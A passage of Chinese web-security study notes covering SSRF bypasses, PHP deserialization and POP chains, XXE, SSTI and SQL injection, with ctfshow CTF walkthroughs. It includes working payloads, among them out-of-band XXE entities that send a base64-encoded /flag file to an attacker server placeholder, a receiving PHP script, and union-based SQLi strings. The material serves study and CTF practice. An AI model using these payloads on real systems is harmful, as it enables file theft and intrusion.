example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
8.利用封闭的字母数字
| 利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④] List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ |
|---|
二.常见限制1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
反序列化
流量特征
- 序列化数据传输:攻击者可能通过网络传输序列化数据到应用程序,例如在请求参数或包中。流量特征可能包括数据请求中包含的序列化数据定义或序列化格式。
- 恶意序列化数据:攻击者可能构造特殊的序列化数据,以触发漏洞。流量特征可能包括在序列化数据中出现的异常、恶意或非预期的对象、属性或方法调用。
- 反序列化过程调用:攻击者可能利用应用程序中的反序列化过程,并通过构造恶意序列化数据来触发漏洞。流量特征可能包括在请求处理过程中出现的反序列化过程的调用。
- 可远程执行代码:某些反序列化漏洞可能允许攻击者执行远程代码。流量特征可能包括在序列化数据中包含远程代码执行的指令或恶意的代码段。
- 序列化类或库特征:反序列化漏洞通常与特定的序列化类或库相关。流量特征可能包括应用程序使用的序列化类、库或框架的版本信息,以及与已知的反序列化漏洞相关的特定类或方法。
- 异常或错误消息:在触发反序列化漏洞时,应用程序可能生成异常或错误消息。流量特征可能包括响应中包含的异常或错误消息,提供有关漏洞触发的信息。
序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。
反序列化(Deserialization):从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程
反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击。
反序列化攻击分类
●对象和数据结构攻击:应用中存在反序列化过程中或者之后被改变行为的类
●数据篡改攻击:使用了当前序列化的数据结构,但是内容被改编
常用的魔术方法__sleep() //使用serialize()时触发
__destruct() //对象被销毁时触发,在脚本终止或对象引用计数为0时调用,通常会执行数据清除就或连接断开操作
__call() //在对象上下文中调用不可访问的方法时触发 ,通常用于错误处理,防止脚本因为调用错误而终止执行
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据,通常用于设置和获取对象私有属性
__set() //用于将数据写入不可访问的属性,通常用于设置和获取对象私有属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__clone() //当把一个对象赋给另一个对象时自动调用
__wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() //PHP5允许在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
防御方式
●最有效的方法是不接受来自不受信任源的序列化对象或者只使用原始数据类型的序列化,但这不容易实现。
●完整性检查,如:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改。
●在创建对象前强制执行类型约束,因为用户的代码通常被期望使用一组可定义的类。
●记录反序列化的失败信息。比如传输的类型不满足预期要求或者反序列化异常情况,因为这有可能是攻击者的攻击尝试。
- 鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用
- 白名单,限制反序列化的类
- RASP(Runtime application self-protection,运行时应用自我保护)检测
绕过方式
反序列化绕过小Trick
php7.1+反序列化对类属性不敏感
我们前面说了如果变量前是protected,序列化结果会在变量名前加上 \x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有 \x00*\x00 也依然会输出 abc<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>
绕过__wakeup
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
例:$_SESSION=['--4ut15m--\n' => 'xxx', 'name' => 'admin']
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>
版本:
• PHP5 < 5.6.25
• PHP7 < 7.0.10<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为
abc
绕过部分正则
正则表达式:描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹
配的子串替换或者从某个串中取出符合某个条件的子串等。preg_match('/^O:\d+/')
//匹配序列化字符串是否是对象字符串开头
利用加号绕过(在url传参时注意+编码为%2B)
serialize(array( a ) ) a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
利用引用<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());
上面这个例子将 $b 设置为 $a 的引用,可以使 $a 永远与 $b 相等
16进制绕过字符的过滤O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
61(16进制)->97(十进制)->a(ASCII)<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
PHP反序列化字符逃逸
1.过滤后字符变多(反序列化后的一个x替换成为两个)<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
?>
这个就是将GET传入的name中的 x 改为了 xx
正常传入不含x的name值就会正常显示
例如:?name=mao,此时长度为3
如果我们传入maox,正常情况下他的长度就是4,但是经过change函数的替换,变成了abcxx,导致溢
出(长度大于4)
进而影响下面的反序列化
我们可以利用这一点来实现字符串逃逸
构造:?name=abcxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"whoami";}
输出

解释:
当我们构造name时,在abc后写18个x,而且后面 ";i:1;s:4:"flag";} 也是18的长度
在进行change时,这里的18个x就变成了36个x,刚好符合序列化时的长度
从而造成 ";i:1;s:4:"flag";} 溢出,前面的"闭合前串,后面的;}闭合反序列化的全过程
而先前存在的$age被舍弃(因为这里数组只有两个元素),不影响反序列化的过程
总之,age变量被我们控制
2.过滤后字符变少(把反序列化后的两个x替换成为一个)<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
构造?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"whoami";}
这里的40个x经过滤后就变为了20个x,但是在前面的长度还是40,所以后面的20个字符被”吃掉“
注意 ";s:3:"age";s:28: 这一部分本来就有,后面的 ;s:3:"age";s:6:"whoami";} 为我们所构造的
age被我们控制
对象注入
当用户的请求在传给反序列化函数 unserialize() 之前没有被正确的过滤时就会产生漏洞。因为PHP允
许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终
导致一个在该应用范围内的任意PHP对象注入。
前提需要满足两个条件1、unserialize的参数可控。
2、代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函
数。<?php
class A{
public $test = "12345";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"23456";}';
unserialize($a);
?>
脚本结束时会调用__destruct()**函数**,同时会覆盖test变量输出 23456
POP链简单介绍
前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果
关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性
和敏感函数的属性联系起来<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){ //当尝试将对象调用为函数时触发
$this->append($this->var);
}
}
$a $b
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //把类当作字符串使用时触发
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))
{
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){ //当调用一个不存在的或者是无法访问的属性的时候被调用
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
共有3个类,反序列化会调用wakeup,存在于Show类wake中的$this->source可控,也就是Show中
$source变量可控
思路:将$source构造成一个对象Show,当$source为一个对象时。就会执行Show类中的toString
此时将$str指向Test类
$this->str->source:取str类中的source值,使这个值自动调用get
此时将$p构造成new Modifier
return $function() 表示将function当作函数返回
当类变量直接当作函数调用的时候,就会调用魔术方法__invoke
然后将$var构造成读取源码即可$var = 'php://filter/read=convert.base64-encode/recource=flag.php';
payload:<?php
ini_set('memory_limit','-1');
class Modifier {
protected $var = 'php://filter/read=convert.base64-
encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
?>
来自:https://www.bilibili.com/video/av4142669
PHP原生类反序列化利用
我们可以使用以下方法遍历一下PHP的内置类:<?php
$classes = get_declared_classes(); //返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
$methods = get_class_methods($class); //返回由类的方法名组成的数组
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的
原生类
))) {
print $class . '::' . $method . "\n";
}
}
}Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
其中常遇到的几个 PHP 原生类有:
- Error
- Exception
- SoapClient
- DirectoryIterator
- SimpleXMLElement
- SplFileObject
xxe
流量特征
- XML实体注入:攻击者通过在XML数据中注入恶意实体来触发XXE漏洞。流量特征可能包括在XML请求或响应中注入的实体定义,如特殊的DOCTYPE声明、ENTITY声明等。
- 外部实体引用:攻击者可能通过引用外部实体文件来执行XXE攻击,例如通过URL引用远程实体文件。流量特征可能包括在XML请求或响应中引用外部实体文件的URL。
- 参数实体注入:攻击者可能通过在参数实体中注入恶意内容来触发XXE漏洞。流量特征可能包括在XML请求或响应中的参数定义中注入恶意内容。
- 实体扩展:攻击者可能尝试扩展实体的定义,以执行恶意操作,如访问文件系统、执行命令等。流量特征可能包括在XML请求或响应中定义的实体扩展操作,如SYSTEM实体或PARAMETER实体的扩展。
- 外部实体解析:XXE漏洞通常涉及应用程序对外部实体的解析和处理。流量特征可能包括在请求或响应中触发外部实体解析的操作或错误消息。
- 敏感信息泄露:成功的XXE攻击可能导致应用程序泄露敏感信息,如配置文件、数据库内容等。流量特征可能包括在响应中泄露敏感信息或错误消息。
什么是xxe?
XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。
有点像SSRF
PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。
什么是XML
XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。
利用方式
利用 XXE 检索文件 定义包含文件内容的外部实体,并在应用程序的响应中返回。 利用 XXE 执行 SSRF 攻击 外部实体基于 URL 到后端系统的定义。 利用盲XXE外泄数据带外 将敏感数据从应用程序服务器传输到攻击者控制的系统。 利用盲 XXE 通过错误消息检索数据 攻击者可以触发包含敏感数据的解析错误消息的位置。
防御方式
1、禁用外部实体,例如libxml_disable_entity_loader(true) 2、过滤用户提交的XML数据,防止出现非法内容,比如SYSTEM关键字。
绕过方式
web373error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow; //XML对象指向ctfshow的元素标签
echo $ctfshow;
}
highlight_file(__FILE__);
主要实现功能是读取从客户端通过 POST 请求发送过来的 XML 文件,并提取文件中 ctfshow 标签内的值进行输出。
第二行语句 libxml_disable_entity_loader(false); 用于开启 XML 实体加载器,防止 XXE(XML External Entity)攻击;接下来的代码块则判断请求是否包含 XML 文件,如果存在则解析该文件并将 ctfshow 标签内的值输出到客户端。
loadXML()函数是DOMDocument类提供的加载XML内容的方法
$creds = simplexml_import_dom($dom);这行代码的作用是将 DOMDocument 对象转化为 SimpleXMLElement 类型的对象,方便对 XML 数据进行操作。在 PHP 中,DOMDocument 是一个类,提供了一种在脚本中创建和修改 XML 文档结构的方法。而 SimpleXMLElement 是另一个类,可以让我们更方便地读取和修改 XML 数据。
在这里,$dom 是一个由 file_get_contents 函数返回的字符串内容,表示一个 XML 文件。simplexml_import_dom 函数则将该字符串转换成了 DOMDocument 对象,并将其转化为 SimpleXMLElement 对象 $creds。这样做的好处在于,SimpleXMLElement 对象使得 XML 数据操作更加简单,我们可以通过对象的属性或方法来提取 XML 标签内的数据,而不需要写繁琐的 DOM 操作代码。
payload<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>
用bp传

web374<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看
在服务器上创建一个1.php<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
再创建xxe.xml<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://<--ip-->/1.php?file=%file;'> ">
%dtd;
%xxe;
bp抓包,然后输入<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<--ip-->/xxe.xml">
%aaa;
]>
<root>123</root>
将两个外部实体(%file和%aaa)引入XML文档中
%file定义了一个实体,用于读取位于/flag路径下的文件并对其进行base64编码,则该文件的内容将以base64编码的形式显示在XML响应中。
%aaa定义了一个实体,指向远程XML文档。如果能够成功地利用此漏洞执行XXE攻击,则远程XML文档的内容将被解析并包含在XML响应中。

回到服务器上,发现多了一个test.txt,里面就是flag,要将其base64解码

web375<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
在上面的基础上过滤了xml,version=1或0
就是把上面的xxe.xml文件改成xxe.dtd
把payload改为<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<--ip-->/xxe.dtd">
%aaa;
]>
<root>123</root>
web376error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤了xml,version=1或0,和大小写
用上一题payload,依旧ok的
web377<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
发现在之前的基础上过滤了http
那就对其进行utf-16编码
用python(要安装requests库)import requests
url = 'http://40c779ee-41dc-46cf-beed-50106c16e953.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://<--ip-->/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
web378

抓包发现,回显usename,那就是标准的xxe了<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

ssti
流量特征
- 恶意模板注入:攻击者通过在用户输入或其他可控参数中注入恶意模板代码来利用SSTI语言。流量特征可能包括在请求数据中注入的恶意模板代码。
- 特殊模板语法:攻击者可以尝试使用特殊的模板语法或语句来执行恶意代码。流量特征可能包括在请求中使用非标准或异常的模板语法或模板控制结构。
- 变量访问:攻击者可以尝试访问授权的变量或属性,以获取系统敏感信息。流量特征可能包括在模板注入语句中使用特殊的变量名或属性访问方式。
- 命令执行:某些情况下,SSTI漏洞可能允许攻击者执行系统命令。流量特征可能包括在模板注入语句中使用命令执行语句或尝试执行系统命令的其他内容。
- 文件访问:攻击者可能尝试访问文件系统中的敏感文件。流量特征可能包括在模板注入语句中尝试访问文件路径或执行文件读取操作的底层。
- 模板语言允许扩展:某些模板引擎可能会自定义扩展或导入外部模板库。攻击者可能会尝试利用这些扩展来执行恶意代码。流量特征可能包括导入或使用不同的外部模板库或扩展。
SSTI的概念 SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。 本文章只研究以python语言为主的SSTI。 什么是模板 模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
漏洞原理 服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
利用方式
1.随便找一个内置类对象用class拿到他所对应的类 2.用bases拿到基类(<class ‘object’>) 3.用subclasses()拿到子类列表 4.在子类列表中直接寻找可以利用的类getshell 5.接下来只要找到能够利用的类(方法、函数)就好
防御方式
- 输入验证和过滤:对所有用户输入的数据进行验证和过滤是防御SSTI漏洞的关键步骤。确保在接受用户输入时进行严格的输入验证,使用白名单或正则表达式过滤不必要的字符或特殊字符。
- 上下文感知输出编码:在将用户输入插入到模板或输出中之前,应使用适当的上下文感知输出编码技术对输入进行编码。例如,在HTML上下文中使用HTML实体编码,避免将用户输入直接插入到模板或页面中。
- 最小权限原则:确保应用程序在运行时以最小特权级别执行,限制应用程序的访问权限。这样做可以减少攻击者利用SSTI漏洞时可以访问的敏感资源的数量。
- 模板引擎配置:在使用模板引擎时,应注意仔细配置其安全选项。启用模板沙箱功能,限制模板的执行权限,并避免允许动态模板加载或执行远程模板文件。
- 安全更新和漏洞修复:及时更新应用程序所使用的所有框架、库和组件,以确保已经修复了已知的SSTI漏洞。跟踪相关安全公告和补丁,并尽快应用它们。
- 安全培训和意识提高:对开发人员进行安全培训,并提高他们对常见Web安全漏洞的认识和理解。这将有助于他们编写更安全的代码并防止SSTI漏洞的出现。
绕过方式
sql注入
流量特征
- 恶意SQL语句注入:攻击者通过在用户输入或其他可控参数中注入恶意SQL语句来利用SQL注入漏洞。流量特征可能包括在请求数据中注入的恶意SQL语句或SQL关键字。
- SQL语句拼接:攻击者可能尝试通过拼接用户输入或参数到动态生成的SQL查询语句中来注入有效代码。流量特征可能包括在请求中对SQL语句进行拼接或修改。
- 注释绕过:攻击者可能使用注释(如“--”)来绕过应用程序以输入过滤或限制语句。流量特征可能包括在注入中使用注释注释掉原始查询的一部分,然后注入恶意代码。
- 布尔盲注:在某些情况下,攻击者可以直接获取数据库查询的结果,但可以利用布尔盲注来无法推断数据库中的信息。流量特征可能包括在查询中使用布尔表达式来推断数据的真假值。
- 时间盲注:类似布尔盲注,攻击者可能通过在时间延迟中推断信息来利用时间盲注。流量特征可能包括在查询中使用时间延迟函数(例如“sleep()”)来推断数据的存在与否。
- 错误消息泄露:在SQL注入攻击时,应用程序可能会返回包含敏感信息的错误消息。流量特征可能包括返回的SQL错误消息中包含数据库查询或结构的相关信息。
漏洞原理 web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句,如查询数据、下载数据,写webshell、执行系统命令以此来绕过登录权限限制等。
sql注入的产生
web程序结构
三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:
- 界面层(User Interface layer)
- 业务逻辑层(Business Logic Layer)
- 数据访问层(Data access layer)

用户能够直接使用的都是在表示层,在表示层输入自己要访问的内容,输入的内容传递到业务逻辑层进行处理,并将处理后的数据写入到数据库中。
同理需要请求的内容从数据库中查询出来后在业务逻辑层进行业务逻辑处理,之后呈现在表示层。
以上两步就是一个正常的请求和响应过程。
sql注入就是因为业务逻辑层没有做安全过滤,到时了从表示层传递过来的数据修改了正常的sql语句结构,从而达到了黑客自身的攻击目的。
利用方式
- 基于错误的注入(Error-Based Injection):攻击者通过在SQL查询中注入恶意代码,触发数据库错误,从而获得关键信息。例如,攻击者可以通过添加非法字符或闭合引号来引发SQL语法错误,并从错误消息中获取有关数据库结构或内容的信息。
- 基于联合查询的注入(Union-Based Injection):攻击者通过注入特殊的SQL代码,使数据库返回额外的数据,通常是通过 UNION SELECT 语句来实现的。这样攻击者可以获取其他表的数据或合并查询结果,泄露敏感信息。
- 基于布尔盲注(Boolean-Based Blind Injection):在某些情况下,应用程序不会直接返回数据库查询结果,但攻击者仍然可以通过观察应用程序的响应来推断数据是否符合条件。攻击者可以通过注入恶意代码来构造布尔表达式,通过观察应用程序的响应来推断查询的真假值。
- 基于时间盲注(Time-Based Blind Injection):类似于布尔盲注,应用程序不会直接返回数据库查询结果,但攻击者可以通过观察应用程序的响应时间来推断数据是否符合条件。攻击者可以在恶意代码中添加时间延迟函数,观察应用程序的响应时间来推断查询的真假值。
- 堆叠查询注入(Stacked Query Injection):攻击者可以通过注入多个SQL查询来执行多个操作。这样可以绕过应用程序对一次请求只执行一条查询的限制。
- 盲注和时间盲注结合(Blind and Time-Based Blind Injection Combination):有时候,应用程序可能对外部响应进行过滤或隐藏错误消息,使得常规的盲注方法不适用。在这种情况下,攻击者可能结合盲注和时间盲注,通过观察响应时间和应用程序的行为来推断查询结果。
判断是否存在注入点,以及闭合方式
使用 order by 判断字段数
使用select 1,2 判断回显点
查询数据库信息 version() datadir()
查询用户名,数据库名 user() database()
查看是否能够文件读取 union select 1,load_file('绝对路径’)#
写入webshell select..into outfile...
防御方式
(1)sql 语句预编译和绑定变量 (2)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。 (3)对进入数据库的特殊字符( ’ <>&*; 等)进行转义处理,或编码转换。 (4)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。 (5)数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。 (6)网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。 (7)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害. (8)避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
绕过方式
判断类型:
数字型:
1.URL 地址后面输入 ?id= 1 and 1=1 页面依旧运行正常,继续进行下一步。
2.URL 地址后面继续输入 ?id= 1 and 1=2 ,页面运行错误,则说明此 SQL 注入为数字型注入。
字符型:
1.URL 地址后面输入 ?id= 1' and '1'='1 页面依旧运行正常,继续进行下一步。
2.URL 地址后面继续输入 ?id= 1' and '1'='2 ,页面运行错误,则说明此 SQL 注入为字符型注入
判断列数
Order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
由此我们可以确认列数为3(4报错)
判断回显位
?id=-1' union select 1,2,3 --+
它将一个假的 id 值 -1 传递给 Article 表,并通过 UNION 操作将手动添加的 1,2,3 列表连接到查询结果中。
获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
